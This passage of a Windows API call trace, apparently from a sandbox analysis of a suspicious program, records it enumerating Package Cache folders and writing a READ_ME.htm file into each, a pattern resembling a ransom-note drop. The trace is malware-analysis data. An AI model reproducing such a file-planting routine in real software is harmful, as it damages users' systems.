Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpFilePart=0x0) returned 0x45 [0139.677] SetErrorMode (uMode=0x1) returned 0x0 [0139.677] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.677] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.678] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.678] SetErrorMode (uMode=0x0) returned 0x1 [0139.678] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", lpFilePart=0x0) returned 0x4e [0139.678] SetErrorMode (uMode=0x1) returned 0x0 [0139.679] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.679] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.679] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0139.679] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0139.679] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.679] SetErrorMode (uMode=0x0) returned 0x1 [0139.680] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", lpFilePart=0x0) returned 0x4e [0139.680] SetErrorMode (uMode=0x1) returned 0x0 [0139.680] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0139.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0139.681] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.681] SetErrorMode (uMode=0x0) returned 0x1 [0139.681] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", lpFilePart=0x0) returned 0x54 [0139.681] SetErrorMode (uMode=0x1) returned 0x0 [0139.681] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0139.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0139.682] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.682] SetErrorMode (uMode=0x0) returned 0x1 [0139.682] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", lpFilePart=0x0) returned 0x54 [0139.682] SetErrorMode (uMode=0x1) returned 0x0 [0139.683] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.683] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.683] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0139.683] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0139.683] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.683] SetErrorMode (uMode=0x0) returned 0x1 [0139.684] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", lpFilePart=0x0) returned 0x58 [0139.684] SetErrorMode (uMode=0x1) returned 0x0 [0139.684] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7584c900, ftCreationTime.dwHighDateTime=0x1d0a14b, ftLastAccessTime.dwLowDateTime=0x7584c900, ftLastAccessTime.dwHighDateTime=0x1d0a14b, ftLastWriteTime.dwLowDateTime=0x7584c900, ftLastWriteTime.dwHighDateTime=0x1d0a14b, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0139.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7584c900, ftCreationTime.dwHighDateTime=0x1d0a14b, ftLastAccessTime.dwLowDateTime=0x7584c900, ftLastAccessTime.dwHighDateTime=0x1d0a14b, ftLastWriteTime.dwLowDateTime=0x7584c900, ftLastWriteTime.dwHighDateTime=0x1d0a14b, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0139.685] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.685] SetErrorMode (uMode=0x0) returned 0x1 [0139.685] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", lpFilePart=0x0) returned 0x58 [0139.685] SetErrorMode (uMode=0x1) returned 0x0 [0139.685] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.697] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.697] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7584c900, ftCreationTime.dwHighDateTime=0x1d0a14b, ftLastAccessTime.dwLowDateTime=0x7584c900, ftLastAccessTime.dwHighDateTime=0x1d0a14b, ftLastWriteTime.dwLowDateTime=0x7584c900, ftLastWriteTime.dwHighDateTime=0x1d0a14b, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0139.697] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7584c900, ftCreationTime.dwHighDateTime=0x1d0a14b, ftLastAccessTime.dwLowDateTime=0x7584c900, ftLastAccessTime.dwHighDateTime=0x1d0a14b, ftLastWriteTime.dwLowDateTime=0x7584c900, ftLastWriteTime.dwHighDateTime=0x1d0a14b, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0139.697] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.698] SetErrorMode (uMode=0x0) returned 0x1 [0139.698] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\READ_ME.htm", lpFilePart=0x0) returned 0x64 [0139.698] SetErrorMode (uMode=0x1) returned 0x0 [0139.698] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.699] GetFileType (hFile=0x1d0) returned 0x1 [0139.699] SetErrorMode (uMode=0x0) returned 0x1 [0139.699] GetFileType (hFile=0x1d0) returned 0x1 [0139.699] WriteFile (in: hFile=0x1d0, lpBuffer=0x291e2d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x291e2d0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0139.700] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\READ_ME.htm", lpFilePart=0x0) returned 0x60 [0139.700] SetErrorMode (uMode=0x1) returned 0x0 [0139.700] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.701] GetFileType (hFile=0x1d0) returned 0x1 [0139.701] SetErrorMode (uMode=0x0) returned 0x1 [0139.701] GetFileType (hFile=0x1d0) returned 0x1 [0139.701] WriteFile (in: hFile=0x1d0, lpBuffer=0x2922920*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2922920*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.703] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0139.703] SetErrorMode (uMode=0x1) returned 0x0 [0139.703] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.704] GetFileType (hFile=0x1d0) returned 0x1 [0139.704] SetErrorMode (uMode=0x0) returned 0x1 [0139.704] GetFileType (hFile=0x1d0) returned 0x1 [0139.704] WriteFile (in: hFile=0x1d0, lpBuffer=0x2926f50*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2926f50*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.705] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0139.706] SetErrorMode (uMode=0x1) returned 0x0 [0139.706] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.707] GetFileType (hFile=0x1d0) returned 0x1 [0139.707] SetErrorMode (uMode=0x0) returned 0x1 [0139.707] GetFileType (hFile=0x1d0) returned 0x1 [0139.707] WriteFile (in: hFile=0x1d0, lpBuffer=0x292b560*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x292b560*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.708] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpFilePart=0x0) returned 0x45 [0139.708] SetErrorMode (uMode=0x1) returned 0x0 [0139.708] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, 